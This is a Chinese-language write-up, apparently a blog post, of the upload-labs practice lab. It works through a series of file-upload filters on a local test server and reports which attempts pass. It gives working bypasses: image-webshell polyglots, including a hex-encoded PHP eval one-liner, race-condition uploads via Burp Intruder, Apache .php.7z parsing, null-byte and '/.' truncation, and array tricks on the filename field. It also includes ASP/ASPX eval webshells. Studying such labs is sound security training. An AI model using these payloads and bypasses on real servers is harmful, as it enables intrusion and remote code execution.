**判断存在,服务端文件内容检测(渲染测试);**查看源代码,发现存在getimagesize()函数,证明,确实存在函数渲染测试;(将上传成功的图片进行访问(测试),如果能有效访问,则存放至服务器上传目录,如果不能访问,则报错提示,放弃存放至服务器上传目录)
cmd下,使用copy命令,制作一句话图片木马(test1.jpg)(copy test.jpg + test.php test1.jpg)(或者使用winhex软件在正常的图片文件末尾添加一句话的十六进制值生成图片马),上传到服务器,服务器提示上传成功;
使用文件包含漏洞运行图片马中的恶意代码;蚁剑连接使用链接(上传文件的文件名可以从服务器返回页面查看);
EG:
http://192.168.1.101/upload-labs/include.php?%20file=http://192.168.1.101/upload-labs/upload/2120191126092659.jpg
文件上传成功,使用蚁剑连接2120191126092659.jpg文件,成功获取webshell;
上传一个,利用winhex工具添加了png文件标识的test.png文件(一句话木马)到服务器,服务器提示上传成功;
上传一个,利用winhex工具添加了gif文件标识的test.gif文件(一句话木马)到服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接上传文件,成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(文件未知,上传失败!),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(文件未知,上传失败!);
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示(文件未知,上传失败!);
尝试上传一个test.png(test.php文件更改后缀名php为png)文件到服务器,服务器提示(文件未知,上传失败!);
尝试上传一个test.gif(test.php文件更改后缀名php为gif)文件到服务器,服务器提示(文件未知,上传失败!);
尝试上传一个,利用winhex工具添加了jpg文件头标识的test.jpg文件(一句话木马)到服务器,服务器提示上传成功;
尝试上传一个,利用winhex工具添加了png文件头标识的test.png文件(一句话木马)到服务器,服务器提示上传成功;
尝试上传一个,利用winhex工具添加了gif文件头标识的test.gif文件(一句话木马)到服务器,服务器提示上传成功;
**判断存在,服务端文件内容检测(文件头幻数检测);**查看源代码,发现存在exif_imagetype()函数,但是该函数功能与文件头检测功能类似;(即读取一个图像(文件)的第一个字节并检查其签名,签名值存在,返回一个图片类型常量,反之返回false)
cmd下,使用copy命令,制作一句话图片木马(test1.jpg)(copy test.jpg + test.php test1.jpg)(或者使用winhex软件在正常的图片文件末尾添加一句话的十六进制值生成图片马),上传到服务器,服务器提示上传成功;
使用文件包含漏洞运行图片马中的恶意代码;蚁剑连接使用链接(上传文件的文件名可以从服务器返回页面查看);
EG:
http://192.168.1.101/upload-labs/include.php?%20file=http://192.168.1.101/upload-labs/upload/6520191127025100.jpg
文件上传成功,使用蚁剑连接6520191127025100.jpg文件,成功获取webshell;
上传一个,利用winhex工具添加了jpg文件标识的test.jpg文件(一句话木马)到服务器,服务器提示上传成功;
上传一个,利用winhex工具添加了png文件标识的test.png文件(一句话木马)到服务器,服务器提示上传成功;
上传一个,利用winhex工具添加了gif文件标识的test.gif文件(一句话木马)到服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接上传文件,成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(只允许上传后缀为.jpg|.png|.gif的图片文件!),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(只允许上传后缀为.jpg|.png|.gif的图片文件!);
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示(该文件不是jpg格式的图片! );
尝试上传一个test.png(test.php文件更改后缀名php为png)文件到服务器,服务器提示(该文件不是png格式的图片!);
尝试上传一个test.gif(test.php文件更改后缀名php为gif)文件到服务器,服务器提示(该文件不是gif格式的图片! );
尝试上传一个,利用winhex工具添加了jpg文件头标识的test.jpg文件(一句话木马)到服务器,服务器提示(该文件不是jpg格式的图片! );
尝试上传一个,利用winhex工具添加了png文件头标识的test.png文件(一句话木马)到服务器,服务器提示(该文件不是png格式的图片!);
尝试上传一个,利用winhex工具添加了gif文件头标识的test.gif文件(一句话木马)到服务器,服务器提示(该文件不是gif格式的图片! );
尝试使用winhex软件,查看正常的图片文件1.jpg的十六进制内容,并在十六进制文件内容末尾,添加一句话木马的十六进制值(3c3f706870406576616c28245f504f53545b2774657374275d293b3f3e),生成新的图片文件test.jpg(也可以使用cmd下的copy命令或者是在burpsuite下使用Hex功能下添加生成),上传该文件到服务器,服务器提示上传成功;
尝试使用蚁剑工具利用文件包含漏洞去连接上传文件,连接失败;
尝试使用winhex软件,查看正常的图片文件2.png的十六进制内容,并在十六进制文件内容末尾,添加一句话木马的十六进制值(3c3f706870406576616c28245f504f53545b2774657374275d293b3f3e),生成新的图片文件test.png(也可以使用cmd下的copy命令或者是在burpsuite下使用Hex功能下添加生成),上传该文件到服务器,服务器提示上传成功;
尝试使用蚁剑工具利用文件包含漏洞去连接上传文件,连接失败;
尝试使用winhex软件,查看正常的图片文件3.gif的十六进制内容,并在十六进制文件内容末尾,添加一句话木马的十六进制值(3c3f706870406576616c28245f504f53545b2774657374275d293b3f3e),生成新的图片文件test.gif(也可以使用cmd下的copy命令或者是在burpsuite下使用Hex功能下添加生成),上传该文件到服务器,服务器提示上传成功;
尝试使用蚁剑工具利用文件包含漏洞去连接上传文件,连接失败;
尝试上传一张正确的jpg文件(test.jpg)到服务器,服务器提示上传成功,使用浏览器访问该文件(jpg图片),并下载该文件,保存为test1.jpg,使用winhex工具,查看两个文件(test.jpg,test1.jpg)的十六进制文件内容是否存在差异,经过文件内容比对,发现两者存在差异;
同理,尝试上传一张正确的png文件(test.png)到服务器,服务器提示上传成功,使用浏览器访问该文件(png图片),并下载该文件,保存为test1.png,使用winhex工具,查看两个文件(test.png,test1.png)的十六进制文件内容是否存在差异,经过文件内容比对,发现两者存在差异;
同理,尝试上传一张正确的gif文件(test.gif)到服务器,服务器提示上传成功,使用浏览器访问该文件(gif图片),并下载该文件,保存为test1.gif,使用winhex工具,查看两个文件(test.gif,test1.gif)的十六进制文件内容是否存在差异,经过文件内容比对,发现两者存在差异;
**判断存在,服务端文件内容检测(二次渲染测试);**查看源代码,发现存在imagecreatefromjpeg(),imagecreatefrompng(),imagecreatefromgif()函数,该函数功能是通过URL或者文件创建一个新的图片;(即读取一个图像(文件)的第一个字节并检查其签名,签名值存在,返回一个图片类型常量,反之返回false)
JPG:
EG:
通过上传正确的jpg图片,然后下载它,使用一个php脚本在下载的图片中镶嵌一句话木马(),将生成的图片马,上传至服务器,服务器提示上传成功;
左上为原生正常的jpg图(test(2).jpg),右为原生正常jpg图上传至服务器后再下载到本地保存的gif图(21517.jpg);
左下为经过脚本处理后的(21517.jpg)的jpg图(payload_21517.jpg),右为图(payload_21517.jpg)上传至服务器后再下载到本地保存的jpg图(5476.jpg);
文件上传成功,使用蚁剑工具利用文件包含漏洞,连接上传文件(5683.gif),成功获取webshell;
PNG:
EG:
和jpg制作图片马一样,都是通过脚本在上传正常的图片到服务器上然后下载到本地上的图中,嵌入一句话代码,然后再上传该图片马到服务器的,服务器提示上传成功;
GIF:
EG:
通过上传正确的gif图片,然后下载它,利用winhex工具比对两者的十六进制内容,如果存在一个较大范围(PHP一句话至少占有30个十六进制数)的进制数没有被渲染(两者相同位置的十六进制数相同未发生改变),则可以把这部分未被渲染区域内容替换为一句话木马的十六进制数据,保存修改后的图片,上传服务器,服务器提示上传成功;
左为原生正常gif图,右为原生正常gif图上传至服务器后再下载到本地保存的gif图(两者相同区域,即未被渲染区域比对);
左为修改后的原生正常gif图(在未被渲染区域进行修改),右为原生正常gif图上传至服务器后再下载到本地保存的gif图;
左为修改后的原生正常gif图(在未被渲染区域进行修改),右为修改后的原生正常gif图上传至服务器后再下载到本地保存的gif图(可以明显看到图片中的一句话木马并未被渲染);
文件上传成功,使用蚁剑工具利用文件包含漏洞,连接上传文件(5683.gif),成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(只允许上传.jpg|.png|.gif类型文件!),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(只允许上传后缀为.jpg|.png|.gif的图片文件!);
尝试上传一个test.txt(test.php文件更改后缀名php为txt)文件到服务器,服务器提示(只允许上传.jpg|.png|.gif类型文件!);
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示上传成功;
尝试上传一个test.png(test.php文件更改后缀名php为png)文件到服务器,服务器提示上传成功;
尝试上传一个test.gif(test.php文件更改后缀名php为gif)文件到服务器,服务器提示上传成功;
尝试上传一个test.phpsphp(test.php文件更改后缀名php为phpsphp)文件到服务器,服务器提示(只允许上传.jpg|.png|.gif类型文件!);
判断存在,服务端文件扩展名检测(白名单检测);
尝试使用%00截断绕过,但是抓取数据包,发现,并没有路径参数,查看源码发现,服务端对于上传文件的步骤是,先是使用move_uploaded_file()函数将上传文件临时保存,然后再进行判断保存的临时文件的后缀名,是不是白名单.jpg|.png|.gif三者之一,如果是,则重新命名保存的临时文件,并保存目录,反之如果不是,则删除该保存的临时文件,并提示(只允许上传.jpg|.png|.gif类型文件!);
由于在服务端有个,临时保存上传文件,然后判断该临时文件是不是合法文件(即保存的临时文件的后缀名是不是在白名单中)的操作,当同时上传的恶意文件过多时,服务器无法同时对所有的,保存的,临时恶意文件进行判断,所以可以考虑上传多个恶意文件到服务器中,当服务端在判断一部分保存的恶意文件的临时文件时,使用浏览器有机率成功访问一部分未被服务端判断的,保存的,恶意文件的,临时文件(例如test.php),故判断存在服务端条件竞争;
上传一个test.php文件()到服务器,并使用BURPSUITE抓取数据包,将上传数据包发送至BURPSUITE的Intruder模块,其下的Payload功能的payload-type设置为Null payloads,Generate设置为1000个,Option功能的Number of thread 设置为50;
同时在浏览器地址栏访问恶意文件,输入192.168.1.101/upload-labs/upload/test.php并访问,并使用BURPSUITE抓取数据包,将访问数据包发送至BURPSUITE的Intruder模块,其功能设置如设置上传数据包时一样,先开始上传文件的模块,然后立刻开始访问文件的模块,由于恶意文件中的代码为phpinfo()函数,可以看到,当访问成功时,会返回服务器的php的配置信息(当单位时间内上传文件数量足够多,访问线程够多,访问成功率越高);(同时当服务器处理完所有上传的恶意文件的临时文件时,服务器的上传文件目录中是不会保存恶意文件的,(上传过程中只是存在恶意文件的临时文件))
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(上传失败,无法上传该类型文件。 ),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(上传失败,无法上传该类型文件。 );
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示上传成功;
尝试上传一个test.png(test.php文件更改后缀名php为png)文件到服务器,服务器提示上传成功;
尝试上传一个test.gif(test.php文件更改后缀名php为gif)文件到服务器,服务器提示上传成功;
尝试上传一个test.txt(test.php文件更改后缀名php为txt)文件到服务器,服务器提示上传成功;
尝试上传一个test.phpsphp(test.php文件更改后缀名php为phpsphp)文件到服务器,服务器提示(上传失败,无法上传该类型文件。 );
判断存在,服务端文件扩展名检测(白名单检测);
尝试使用%00截断绕过,但是抓取数据包,发现,并没有路径参数,查看源码发现,服务器可供上传文件包含( “.doc”, “.xls”, “.txt”, “.pdf”, “.gif”, “.jpg”, “.zip”, “.rar”, “.7z”,".ppt",".html", “.xml”, “.tiff”, “.jpeg”, “.png” ),服务端对于上传文件的操作步骤与upload-labs 17类似,先是判断上传文件是否为可上传文件,如果是,则使用move()函数进行文件保存, 最后使用rename()函数进行文件名的更改(move()函数在rename()函数之前);
由于在服务端有个,保存能成功上传的文件后,再进行文件重命名的操作,当同时上传的文件(能通过白名单的后缀名文件)过多时,服务端无法同时对所有的,保存的,上传成功的合法文件,进行重命名操作,所以可以考虑上传多个合法文件(利用7z后缀在白名单中,且无法被Apache识别,和利用Apache的解析漏洞,构造.php.7z后缀名)到服务器中,当服务端在重命名一部分保存的合法文件时,使用浏览器有机率成功访问一部分未被重命名的合法文件(例如test.php.7z),故判断存在服务端条件竞争;
同upload-labs 17的条件竞争绕过步骤一样,不过这里,上传的文件的后缀名有点不同,是test.php.7z(),7z后缀名在上传文件名后缀的白名单中,而7z后缀名不能被Apache服务器所识别,可以利用Apache的解析漏洞(Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别,就再往左判断,直到可以解析为止)将上传的7z后缀文件当做php文件解析;(浏览器地址栏输入(192.168.1.101/upload-labs/upload/test.php.7z)访问恶意文件)
尝试上传一个test.php文件(一句话木马)到服务器,保存名称为(test.php),服务器提示(禁止保存为该类型文件! ),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,保存名称为(test.php),并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(禁止保存为该类型文件! );
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,保存名称为(test.jpg),服务器提示上传成功;
尝试上传一个test.txt(test.php文件更改后缀名php为txt)文件到服务器,保存名称为(test.txt),服务器提示上传成功;
尝试上传一个test.phps(test.php文件更改后缀名php为phps)文件到服务器,服务器提示上传成功;
。。。
尝试上传一个test.php1(test.php文件更改后缀名php为php1)文件到服务器,保存名称为(test.php1),服务器提示(禁止保存为该类型文件! );
尝试上传一个test.php3(test.php文件更改后缀名php为php3)文件到服务器,保存名称为(test.php3),服务器提示(禁止保存为该类型文件! );
尝试上传一个test.php5(test.php文件更改后缀名php为php5)文件到服务器,保存名称为(test.php5),服务器提示(禁止保存为该类型文件! );
尝试上传一个test.asp(<%eval request (“test”)%>)文件到服务器,保存名称为(test.asp),服务器提示(禁止保存为该类型文件! );
尝试上传一个test.aspx(<%@ Page Language=“Jscript”%> <%eval(Request.Item[“test”],“unsafe”);%>)文件到服务器,保存名称为(test.aspx),服务器提示(禁止保存为该类型文件! );
尝试上传一个test.jsp(test.php文件更改后缀名php为jsp)文件到服务器,保存名称为(test.jpg),服务器提示(禁止保存为该类型文件! );
。。。
尝试上传一个.htaccess(AddType application/x-httpd-php .jpg)文件到服务器,保存名称为(test.htaccess),服务器提示(禁止保存为该类型文件! );
**判断存在,服务端文件扩展名检测(黑名单检测(存在对输入的保存文件名检测));**查看源码,得知黑名单内容有(“php”,“php5”,“php4”,“php3”,“php2”,“html”,“htm”,“phtml”,“pht”,“jsp”,“jspa”,“jspx”,“jsw”,“jsv”,“jspf”,“jtml”,“asp”,“aspx”,“asa”,“asax”,“ascx”,“ashx”,“asmx”,“cer”,“swf”,“htaccess”);
同时服务端对于上传文件,只是检查了上传时输入的保存文件名的后缀名,后缀名在黑名单中,则是输出(禁止保存为该类型文件!),反之则将输入的保存的文件名,作为保存的上传文件的文件名;
由于服务端上传代码中存在,move_uploaded_file()函数(移动指定文件到指定的目录下),该函数会忽略掉文件末尾的(/.),同时该函数自身也存在的00截断漏洞,以及可以利用7z后缀名不在上传文件名后缀的黑名单中,且7z后缀名不能被Apache服务器所识别,同时配合Apache的解析漏洞上传一句话文件(test.php.7z);
上传一个test.php文件(一句话木马)到服务器,保存名称为(test.php),并使用Burpsuite抓取数据包,更改(name=“save_name” test.php)为(name=“save_name” test.php/.),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.php文件,成功获取webshell;
上传一个test.php文件(一句话木马)到服务器,保存名称为(test.php),并使用Burpsuite抓取数据包,更改(name=“save_name” test.php)为(name=“save_name” test.php+),使用Burpsuite的Proxy模块的Hex功能,更改(+)的十六进制(2b)为(00)的十六进制(00),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.php文件,成功获取webshell;
上传一个test.php文件(一句话木马)到服务器,保存名称为(test.php.7z),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.php文件,成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,保存名称为(test.php),服务器提示(禁止上传该类型文件! ),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,保存名称为(test.jpg),服务器提示(禁止上传该类型文件! ),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,保存名称为(test.php),并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(禁止上传该后缀文件! );
尝试上传一个test.php文件(一句话木马)到服务器,保存名称为(test.jpg),并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示上传成功;
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,保存名称为(test.php),服务器提示(禁止上传该后缀文件! );
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,保存名称为(test.jpg),服务器提示上传成功;
判断存在,服务端Content-Type检测(存在对输入的保存文件名检测);查看源码,得知白名单内容有(1)(‘image/jpeg’,‘image/png’,‘image/gif’),(2)(‘jpg’,‘png’,‘gif’);
同时服务端对于上传文件,只是先检测上传文件的Content-Type是不是在白名单(1)中,不在,则输出(禁止上传该类型文件!),在,则判断输入的保存文件名是不是在白名单(2)中,不在,则输出(禁止上传该后缀文件!),在,则按照输入的保存的文件名来保存上传文件到服务器中;
由于服务端上传代码中存在,当输入的文件名不为数组时,explode()函数会将,成功经过Content-Type检测的文件名字符串(字符串所有大写字母已经被trtolower()转化为小写),按照(.)为分隔符,打散构成一个数组(test.php–>explode()–>[‘tset’,‘php’]),当该数组的最后一个元素在白名单(2)时,则按照数组的第一个元素+(.)+数组的最后一个元素构造成新的保存的上传文件的文件名(test.php.asp.jpg–>explode()–>[‘test’,‘php’,‘asp’,‘jpg’]–>…–>test.jpg);
同时存在move_uploaded_file()函数(移动指定文件到指定的目录下),该函数会忽略掉文件末尾的(/.),同时该函数自身也存在的00截断漏洞;
为成功使用(/.)截断绕过,需要输入的保存文件名格式为数组,这里可以使用Burpsuite抓取数据包,在原有的参数save_name基础上添加数组元素(save_name[0],save_name[1],save_name[3]…),在新的数组元素参数的值更改
上传一个test.php文件(一句话木马)到服务器,保存名称为(test.php),并使用Burpsuite抓取数据包,更改(Content-Type: application/octet-stream)为(Content-Type: image/jpeg);
复制(-----------------------------197961479815281 Content-Disposition: form-data; name=“save_name” test.php)(内容name=“save_name” test.php改为name=“save_name[0]” test.php/)(低版本的php好像不要/也能绕过);
并在其下方粘贴(内容name=“save_name” test.php改为name=“save_name[2]” jpg),上传服务器,服务器提示上传成功(避开explode()函数后的文件名数组为[‘test.php/’,’ ',‘jpg’],成功经过所有白名单检查后,重新构造的文件名为(test.php/. )(test.php/.空格),该文件名能被move_uploaded_file()函数作用时忽略掉(/.),最后生成的,保存到服务器上传目录的,文件名为(test.php));
文件上传成功,使用蚁剑连接test.php文件,成功获取webshell;
upload-labs的练习算是结束了,但是对于上传漏洞的了解,相比较与之前的陌生,一知半解,还是有不小的收获的,遇到可能存在上传漏洞的地方,首先还是判断是存在客户端的JS检测(网页反应速度或者是直接在前端页面查看代码),还是服务端的检测,对于服务端的检测,则是有很多,但是也是可以根据步骤,来逐步判断的,如显示Content-Type检测,再是文件后缀名检测(黑/白名单),文件内容检测(直接检测是不是含有非法内容或者是对图片进行渲染等),当然最好的还是如果能进行代码审计,是最好的(根据服务端怎样处理上传文件的流程的更容易设计出有效的绕过策略),最后就是判断上传漏洞时多收集信息(检测限制类型),针对限制绕过思路尽量要多些。
[如有错误,请指出,拜托了<( _ _ )> !!!]
[参考文档]:
Fluorescence:文件上传漏洞(绕过姿势):https://www.cnblogs.com/Fluorescence-tjy/p/7268829.html
Franchen:文件上传漏洞SQL注入:https://www.jianshu.com/p/02584254a36c